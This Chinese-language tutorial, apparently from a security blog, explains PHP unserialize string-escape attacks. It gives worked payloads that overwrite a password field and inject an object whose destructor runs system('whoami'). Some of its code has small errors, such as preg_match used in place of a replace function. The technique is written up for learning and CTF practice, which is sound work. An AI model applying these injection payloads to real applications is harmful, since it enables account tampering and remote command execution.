下述所有测试均在 php 7.1.13 nts 下完成
先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的
比如:在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
,会得到如下结果
如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
仍然是上面的结果,但是如果修改它的长度,比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}
就会报错
这里给个例子,将 x
替换为 yy
,如何去修改密码?
<?php function filter($string){ return preg_match('/x/','yy',$string); } $username = "peri0d"; $password = "aaaaa"; $user = array($username, $password); var_dump(serialize($user)); echo '\n'; $r = filter(serialize($user)); var_dump($r); echo '\n'; var_dump(unserialize($r));
正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
那如果把 username
换成 peri0dxxx
,其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}
,这个时候肯定会反序列化失败的
可以看到 s:9:"peri0dyyyyyy"
比以前多了 3 个字符
回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
想一下,它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
可以看到需要添加的字符串 ";i:1;s:6:"123456";}
长度为 20
假设要在 peri0d
后面填充 4
个字符,那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}';
在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';
读取 30
个字符为 peri0dyyyyyyyy";i:1;s:6:"12345
这就需要继续增加填充字符,在有 20
个 x
时,就实现了密码的修改
可以看到,这和 username
前面的 peri0d
是毫无关系的,只和做替换的字符串有关
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "peri0d"; $password = "1234"; $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
chr(0).'*'.chr(0)
这 3
个字符替换为 \0\0\0
这 6
个字符,然后再反过来O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";}
,我这里的目的是要把 password
的字段替换为我的 payload
即 s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
User
中多加一个 $ts
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } $username = "peri0d"; $password = "1234"; $r = new User($username, $password); $r->ts = new evil('whoami'); echo serialize($r); // O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
";s:8:"password";s:4:"1234
长度为 26
,加上 peri0d
的 6
就是 32
了,这样就覆盖了 password
及其值,再将前面的属性改为 2
就符合原来的源码含义了,而且它是可以成功反序列化的O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
,很明显要利用前面的替换使 peri0d
扩增来覆盖 password
,然后将 payload
作为 password
的值输入,以达到 payload
注入username="peri0d\\0\\0\\0"
和 $password = "123456".$payload
得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
$password = '123456";'.$payload."}"
O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
N
代表 NULL
: O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
3
个字符,这里一定是按照 3
的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456
长度为 29
,这就需要进行增加或减少,从而去凑 3
的倍数,这里选择减少,使 password
为 1234
则长度为 27
,即需要 9
组 \0\0\0
<?php $username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $password = '1234";'.$payload."}"; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
结果:
顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病